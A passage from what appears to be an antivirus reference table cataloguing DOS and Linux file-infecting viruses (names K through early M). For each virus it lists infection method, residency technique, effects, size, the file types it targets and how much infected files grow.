ºKhizhnjak.509 ¦FIND¦ - ¦ - ¦509 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.542 ¦FIND¦ - ¦ Ch ¦542 ¦ .C&C ¦ e ¦ L+p º
ºKhizhnjak.556 ¦FIND¦ - ¦ H ¦556 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.558 ¦FIND¦ - ¦ Ch ¦558 ¦ .C&C ¦ e ¦ L+p º
ºKhizhnjak.560 ¦FIND¦ - ¦ HV ¦560 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.586 ¦FIND¦ - ¦ - ¦586 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.608 ¦FIND¦ - ¦ - ¦608 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.632 ¦FIND¦ - ¦ H ¦632 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.639 ¦FIND¦ - ¦ V ¦639 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.642 ¦FIND¦ - ¦ H ¦642 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.649 ¦FIND¦ - ¦ V ¦649 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.696 ¦FIND¦ - ¦ - ¦696 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.715 ¦FIND¦ - ¦ V ¦715 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.751 ¦FIND¦ - ¦ V ¦751 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.759 ¦FIND¦ - ¦ V ¦759 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.768 ¦FIND¦ - ¦ H ¦768 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.776 ¦FIND¦ - ¦ - ¦776 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.810 ¦FIND¦ - ¦ - ¦810 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.812 ¦FIND¦ - ¦ HV ¦812 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.822 ¦FIND¦ - ¦ - ¦822 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.832 ¦FIND¦ - ¦ V ¦832 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.834 ¦FIND¦ - ¦ V ¦834 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.839 ¦FIND¦ - ¦ V ¦839 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.847 ¦FIND¦ - ¦ V ¦847 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.875 ¦FIND¦ - ¦ V ¦875 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.1101 ¦FIND¦ - ¦ V ¦1101 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.1112 ¦FIND¦ - ¦ V ¦1112 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.1134 ¦FIND¦ - ¦ V ¦1134 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.1912 ¦FIND¦ - ¦ VEr¦1912 ¦ .C.E* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKingSize.493 ¦FIND¦ - ¦ - ¦493 ¦ .C ¦ e ¦ L º
ºKingSize.823 ¦FIND¦ - ¦ - ¦823 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKiwi.512 ¦INT ¦MCB ¦ - ¦512 ¦ E * ¦ e ¦ L º
ºKiwi.550 ¦INT ¦MCB ¦ - ¦550 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKkv.923 ¦INT ¦MCB ¦ - ¦923 ¦ .E * ¦ s ¦ L, companion º
ºKkv.1074 ¦INT ¦MCB ¦ - ¦1074 ¦ .E * ¦ s ¦ L, companion º
ºKkv.1077 ¦INT ¦MCB ¦ - ¦1077 ¦ .E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKohntark.268 ¦FIND¦ - ¦ - ¦268 ¦ .E * ¦ s ¦ L, companion º
º.Kali.641 (2)¦FIND¦ - ¦ V ¦641 ¦ .C.E&CE* ¦ e ¦ L º
º.Kaos.697 ¦FIND¦ - ¦ - ¦697 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKuku.448 ¦FIND¦ - ¦ HV ¦448 ¦ .C * ¦ s ¦ L º
ºKuku.886 ¦FIND¦ - ¦ V ¦886 ¦ .C.E* ¦ e ¦ C-L+p, E-L+6+p º
ºKuku.1111 ¦FIND¦ - ¦ VS ¦1111 ¦ .C.E* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKvartirus.1499 ¦INT ¦MCB ¦ S ¦1499 ¦ C * ¦ e ¦ L º
ºKvartirus.2000(2INT ¦MCB ¦ S ¦2000 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKvs.836 ¦INT ¦MCB ¦ - ¦836 ¦ CE * ¦ s ¦ L º
ºKvs.1942 ¦INT ¦KEEP¦ V ¦1942 ¦ CE * ¦CsEe ¦ C-L, E-L+p º
ºKvs.Crusade ¦INT ¦MCB ¦ V ¦3072 ¦ CE+boot*¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKaaBum.1500 ¦INT ¦KEEP¦ HV ¦1500 ¦ C * ¦ e ¦ L º
ºKadavr.506 ¦INT ¦MCB ¦ - ¦506 ¦ E * ¦ e ¦ L+p+? º
ºKak.391 ¦FIND¦ - ¦ V ¦391 ¦ .C * ¦ e ¦ L º
ºKampana.3429 ¦INT ¦MCB ¦ H ¦3429 ¦ CE+boot ¦ e ¦ L+p º
ºKarina.850 ¦FIND¦ - ¦ V ¦850 ¦ .C&C* ¦ e ¦ L+p º
ºKarnavali.1972 ¦INT ¦MCB ¦ V ¦1972 ¦ E+boot* ¦ e ¦ L+p º
ºKarol.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ E * ¦ e ¦ L º
ºKatya.732 ¦FIND¦ - ¦ V ¦732 ¦ .C&C* ¦ e ¦ L º
ºKavaklar.743 ¦INT ¦MCB ¦ - ¦743 ¦ CE * ¦ e ¦ L º
ºKeyOff.400 ¦INT ¦MCB ¦ - ¦400 ¦ .C * ¦ s ¦ L º
ºKgkSoft.1020 ¦INT ¦MCB ¦ V ¦1020 ¦ CE * ¦CsEe ¦ L º
ºKhmir.1800 ¦INFI¦MCB ¦ - ¦1800 ¦ .C.E&CE* ¦ e ¦ L º
ºKi.962 ¦INT ¦MCB ¦ - ¦962 ¦ C ¦ s ¦ L, insert º
ºKill.578 ¦FIND¦ - ¦ - ¦578 ¦ .E * ¦ e ¦ L+p º
ºKiller.964 ¦INT ¦MCB ¦ H ¦964 ¦ .C ¦ s ¦ L º
ºKipa.1084 ¦INT ¦MCB ¦ - ¦1084 ¦ CE * ¦ e ¦ L+p º
ºKit.2384 ¦INT ¦MCB ¦ Ch ¦2384 ¦ CE * ¦ CsEe¦ C-L, E-L+(0-80)+pº
ºKitiara.288 ¦INT ¦KEEP¦ HV ¦288 ¦ CE ¦ s ¦ 0, overwrite º
ºKkyyzz.1413 ¦INT ¦MCB ¦ - ¦1413 ¦ C * ¦ e ¦ L º
ºKoder.1024 (2)¦INT ¦MCB ¦ H ¦1024 ¦ E ¦ e ¦ L º
ºKoko.1780 ¦INT ¦MCB ¦ HV ¦1780 ¦ CE * ¦ e ¦ C-L+p, E-L+512+p º
ºKommuna.800 ¦FIND¦ - ¦ V ¦800 ¦ .C * ¦ e ¦ L+1 º
ºKot.900 ¦INFI¦MCB ¦ V ¦900 ¦ .C&C ¦ e ¦ L º
ºKpi.329 ¦FIND¦ - ¦ - ¦329 ¦ .C * ¦ e ¦ L º
ºKranty.255 ¦FIND¦ - ¦ - ¦255 ¦ .C * ¦ e ¦ L º
ºKsm.473 ¦FIND¦ - ¦ V ¦473 ¦ .C&C* ¦ e ¦ L º
ºKudepsta.357 ¦FIND¦ - ¦ - ¦357 ¦ .C ¦ e ¦ L º
ºKusumah.3968 ¦INT ¦MCB ¦ VCh¦3968 ¦ CE ¦ e ¦ C-L, E-L+301 º
ºKysia.1536 ¦INFI¦MCB ¦ V ¦1536 ¦ .E&E+boot*¦ e ¦ L+p º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part L
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºLater.959 ¦INT ¦MCB ¦ V ¦959 ¦ CE ¦CsEe ¦ C-L, E-L+28+p º
ºLater.981 ¦INT ¦MCB ¦ V ¦981 ¦ CE ¦CsEe ¦ C-L, E-L+28+p º
ºLater.987 ¦INT ¦MCB ¦ V ¦987 ¦ CE ¦CsEe ¦ C-L, E-L+28+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLBrother.307 ¦INFI¦DOSD¦ - ¦307 ¦ .E ¦ s ¦ L, companion º
ºLBrother.393 ¦INT ¦DOSD¦ V ¦393 ¦ .E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLeech.1014 ¦INT ¦MCB ¦HVEr¦1014 ¦ .C&C * ¦ s,i ¦ L º
ºLeech.1024 ¦INT ¦MCB ¦HVEr¦1024 ¦ .C&C * ¦ s,i ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLeo.293 ¦FIND¦ - ¦ - ¦293 ¦ .C * ¦ e ¦ L º
ºLeo.3948 ¦FIND¦ - ¦ VEr¦3948 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLesson.239 ¦FIND¦ - ¦ - ¦239 ¦COMMAND.COM¦ e ¦ L º
ºLesson.240 ¦FIND¦ - ¦ - ¦240 ¦COMMAND.COM¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLeprosy.595 ¦FIND¦ - ¦ HV ¦595 ¦ .C.E ¦ s ¦ l, overwrite º
ºLeprosy.2218 ¦FIND¦ - ¦ HV ¦2218 ¦ .E ¦ s ¦ L, overwrite º
º.BadBrains.570 ¦FIND¦ - ¦ H ¦570 ¦ .C * ¦ s ¦ L, overwrite º
º.Busted.572 ¦FIND¦ - ¦ HV ¦572 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Hellraiser ¦FIND¦ - ¦ HV ¦1580 ¦ .E&E * ¦ s ¦ L, overwrite º
º.Rythem.808 ¦FIND¦ - ¦ H ¦808 ¦ .E * ¦ s ¦ L, overwrite º
º.Sandra.1356 ¦FIND¦ - ¦ H ¦1356 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Sandra.1809 ¦FIND¦ - ¦ H ¦1809 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Seneca.483 ¦FIND¦ - ¦ HV ¦483 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Seneca.493 ¦FIND¦ - ¦ HV ¦493 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Skism.1992 ¦FIND¦ - ¦ HV ¦1992 ¦ .C.E * ¦ s ¦ L, overwrite º
º.Strain.666 (2)¦FIND¦ - ¦ HV ¦666 ¦ .C.E * ¦ s ¦ L, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLewd.3526 ¦INT ¦MCB ¦ V ¦3526 ¦ E * ¦ e ¦ L+p º
ºLewd.4455 ¦INT ¦MCB ¦ V ¦4455 ¦ E * ¦ e ¦ L+p º
ºLewd.4456 ¦INT ¦MCB ¦ V ¦4456 ¦ E * ¦ e ¦ L+p º
ºLewd.34907 ¦INT ¦MCB ¦ VCh¦34907¦ E * ¦ e ¦ L+p º
ºLewd.34918 ¦INT ¦MCB ¦ VCh¦34918¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLinux - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºLinux.Bliss ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º.17892 ¦FIND¦ - ¦ V ¦17892¦ ELF EXE * ¦ s ¦ L+38 º
ºLinux.Bliss ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º.18064 ¦FIND¦ - ¦ V ¦18064¦ ELF EXE * ¦ s ¦ L+38 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLobotomy.821 ¦FIND¦ - ¦ V ¦821 ¦ .C&C * ¦ e ¦ L+p º
ºLobotomy.966 ¦FIND¦ - ¦ HV ¦966 ¦ .C&C * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLocust.735 ¦INT ¦MCB ¦ChEr¦735 ¦ .C * ¦ e ¦ L º
ºLocust.1456 ¦FIND¦ - ¦ VEr¦1456 ¦command.com¦ i* ¦ -240 (F0h) º
ºLocust.2486 ¦INT ¦MCB ¦ Er ¦2486 ¦ C * ¦ e ¦ L, 0* º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLokjaw.Firefly.¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º 1087¦INT ¦MCB ¦ HCh¦1087 ¦ .C * ¦ e ¦ L º
º.Firefly.1106 ¦INT ¦MCB ¦ HCh¦1106 ¦ .C * ¦ e ¦ L º
º.Zwei.808 ¦INT ¦MCB ¦ HV ¦808 ¦ E * ¦ s ¦ L, companion º
º.Zwei.894 ¦INT ¦MCB ¦ HV ¦894 ¦ E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLucy.5086 ¦INT ¦MCB ¦ Er ¦5086 ¦ CE * ¦ e ¦ L º
ºLucy.5286 ¦INT ¦MCB ¦ VEr¦5286 ¦ CE * ¦ e ¦ L º
ºLucy.5505 ¦INT ¦MCB ¦ VEr¦5505 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLunch.404 ¦FIND¦ - ¦ - ¦404 ¦ .C * ¦ e ¦ L º
ºLunch.783 ¦INFI¦MCB ¦ V ¦783 ¦ .C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLust.120 ¦FIND¦ - ¦ - ¦120 ¦ .C&C * ¦ s ¦ L º
ºLust.121 ¦FIND¦ - ¦ - ¦121 ¦ .C&C * ¦ s ¦ L º
ºLust.137 ¦FIND¦ - ¦ - ¦137 ¦ .C&C * ¦ s ¦ L º
ºLust.191 ¦INT ¦INTB¦ Er ¦191 ¦ C * ¦ s ¦ L º
ºLust.196 ¦INT ¦MCB ¦ Er ¦196 ¦ C * ¦ s ¦ L º
ºLust.210 ¦FIND¦ - ¦ - ¦210 ¦ .C&C * ¦ i ¦ 0, inserting º
ºLust.258 ¦INT ¦KEEP¦ - ¦258 ¦ C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLx.1358 ¦INT ¦MCB ¦ HV ¦1358 ¦ .C&C * ¦ e ¦ L º
ºLx.1996 ¦INT ¦MCB ¦ HV ¦1996 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLycee.703 ¦INT ¦MCB ¦ - ¦703 ¦ .C.E&CE *¦ e ¦ L º
ºLycee.737 ¦INT ¦MCB ¦ V ¦737 ¦ .C.E&CE *¦ e ¦ L º
ºLycee.930 ¦INT ¦MCB ¦ Ch ¦930 ¦ .C.E&CE *¦ e ¦ L º
ºLycee.944 ¦INT ¦MCB ¦ H ¦944 ¦ .C.E&CE *¦ e ¦ L º
ºLycee.1788 (2)¦INT ¦MCB ¦ V ¦1788 ¦ CE * ¦ e ¦ L º
ºLycee.1800 ¦INT ¦MCB ¦ V ¦1800 ¦ CE * ¦ e ¦ L º
ºLycee.1832 ¦INT ¦MCB ¦ V ¦1832 ¦ CE * ¦ e ¦ L º
ºLycee.1888 (2)¦INT ¦MCB ¦ V ¦1888 ¦ CE * ¦ e ¦ L º
ºLycee.1901 ¦INT ¦MCB ¦ V ¦1901 ¦ CE * ¦ e ¦ L º
ºLycee.1950 ¦INT ¦MCB ¦ VCh¦1950 ¦ CE * ¦ e ¦ L º
ºLycee.1975 ¦INT ¦MCB ¦ V ¦1975 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºLame.2304 ¦INT ¦MCB ¦ V ¦2304 ¦ E * ¦ e ¦ L+p º
ºLapi.768 ¦FIND¦ - ¦ HV ¦768 ¦ .C ¦ e ¦ L º
ºLarry.491 ¦INT ¦INTB¦ V ¦491 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºLasky.129 ¦INT ¦INTB¦ - ¦129 ¦ C * ¦ s ¦ L º
ºLavi.1464 ¦INT ¦KEEP¦ H ¦1464 ¦ .C&C ¦ e ¦ L º
ºLeapFrog (2)¦INT ¦BUFF¦ - ¦516 ¦ .C * ¦ e ¦ L º
ºLegion.3274 ¦FIND¦ - ¦ V ¦3274 ¦ .C&C * ¦ i,e ¦ L+? º
ºLego.1000 ¦INT ¦MCB ¦ HV ¦1000 ¦ CE * ¦ e ¦ L º
ºLemena.3544 ¦INT ¦MCB ¦ V ¦3544 ¦ .E&E * ¦ e ¦ L+? º
ºLemming.2247 ¦INT ¦MCB ¦ - ¦2247 ¦ CE * ¦ e ¦ L º
ºLenin.943 ¦FIND¦ - ¦ VEr¦943 ¦ .E&E * ¦ e ¦ L+p º
ºLev.693 ¦INT ¦MCB ¦ V ¦693 ¦ C * ¦ e ¦ L º
ºLG.144 ¦INT ¦MCB ¦ - ¦1024 ¦ .C.E&CE ¦ e ¦ L-890 º
ºLightness.1466 ¦INT ¦MCB ¦ H ¦1466 ¦ E * ¦ e ¦ L+p º
ºLightNing.2366 ¦INT ¦MCB ¦ - ¦2366 ¦ .C.E&CE* ¦ e ¦ L º
ºLightNing.4251 ¦INT ¦MCB ¦ H ¦4251 ¦ .C.E&CE* ¦ e ¦ L+? º
ºLittleBoy.944 ¦INT ¦MCB ¦ V ¦944 ¦ CE * ¦ e ¦ L º
ºLivingDeath.3766INT ¦MCB ¦ HV ¦3766 ¦ E+boot *¦ e ¦ L º
ºLikeness.3551 ¦INT ¦MCB ¦ HEr¦3551 ¦ CE+boot*¦ i ¦ L º
ºLizard.1967 ¦INT ¦VxD ¦ H ¦1967 ¦ E&LZD.VXD*¦ e ¦ E-L, VXD-L+5132 º
ºLmd.2000 ¦FIND¦ - ¦ V ¦2000 ¦ C * ¦ s ¦ L º
ºLockup.2969 ¦INT ¦KEEP¦ HV ¦2969 ¦ .C.E ¦ CsEe¦ C-L, E-L+p º
ºLogin.2071 ¦INT ¦MCB ¦ V ¦2071 ¦ .C.E&CE* ¦ i,e ¦ L º
ºLonely.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ E * ¦ e ¦ L º
ºLordZer0.372 ¦INT ¦MCB ¦ - ¦372 ¦ C * ¦ e ¦ L º
ºLost.596 ¦FIND¦ - ¦ - ¦596 ¦ .C&C * ¦ e ¦ L º
ºLoveChild.2710 ¦INT ¦MCB ¦ HV ¦2710 ¦ CE ¦ e ¦ L º
ºLout.805 ¦INT ¦MCB ¦ HV ¦805 ¦ .C.E&CE* ¦ e ¦ L º
ºLoz.677 ¦INT ¦MCB ¦ V ¦677 ¦ C ¦ e ¦ L º
ºLR1.2884 ¦INFI¦MCB ¦ V ¦2884 ¦ .C.E&CE* ¦ e ¦ L º
ºLSD.1600 ¦FIND¦ - ¦ HV ¦1600 ¦ *.* * ¦ s ¦ 0, overwrite º
ºLucas.1871 ¦FIND¦ - ¦ V ¦1871 ¦ .C&C * ¦ e ¦ L+p º
ºLuce.4619 ¦INT ¦MCB ¦HVEr¦4619 ¦ .C.E&CE* ¦ e ¦ L+? º
ºLV.477 ¦INFI¦ADDR¦ S ¦477 ¦COMMAND.COM¦ i ¦ 0, inserting º
ºLviv.600 ¦INT ¦MCB ¦ Er ¦600 ¦ C ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part M
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºMaaike.164 ¦INT ¦KEEP¦ - ¦164 ¦ E ¦ s ¦ L, companion º
ºMaaike.250 (2)¦INT ¦KEEP¦ V ¦250 ¦ E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMacGyver.2803(2)INT ¦KEEP¦ S ¦2803 ¦ E * ¦ e ¦ L+p º
ºMacgyver.2824 ¦INFI¦MCB ¦ S ¦2824 ¦ .E ¦ e ¦ L º
ºMacGyver.4112 ¦INT ¦MCB ¦ Er ¦4112 ¦ CE+boot*¦ e ¦ L º
ºMacGyver.4645 ¦INT ¦MCB ¦ V ¦4645 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºMad.223 ¦FIND¦ - ¦ Er ¦223 ¦ .C * ¦ e ¦ L+? º
ºMad.279 (3)¦FIND¦ - ¦ H ¦279 ¦ .C&C * ¦ e ¦ L º
ºMad.1288 ¦INT ¦MCB ¦ H ¦1288 ¦ .E&E * ¦ e ¦ L º
ºMad.2631 ¦INT ¦MCB ¦ HV ¦2631 ¦ CE * ¦ e ¦ L+(0-255) º
ºMad.2748 ¦INT ¦MCB ¦ HV ¦2748 ¦ CE * ¦ e ¦ L º
ºMad.3544 ¦INT ¦MCB ¦ HV ¦3544 ¦ .C.E&CE* ¦ i,e ¦ L º
ºMad.3732 ¦INT ¦MCB ¦ H ¦3732 ¦ C * ¦ i,e ¦ L º
ºMad.3734 ¦INT ¦MCB ¦ H ¦3734 ¦ C * ¦ i,e ¦ L º
ºMad.4268 ¦INT ¦MCB ¦ HV ¦4268 ¦ .C.E&CE* ¦ i,e ¦ C-L+?, E-L º
ºMad.4340 ¦INT ¦MCB ¦ HV ¦4340 ¦ .C.E&CE* ¦ i,e ¦ C-L+?, E-L º
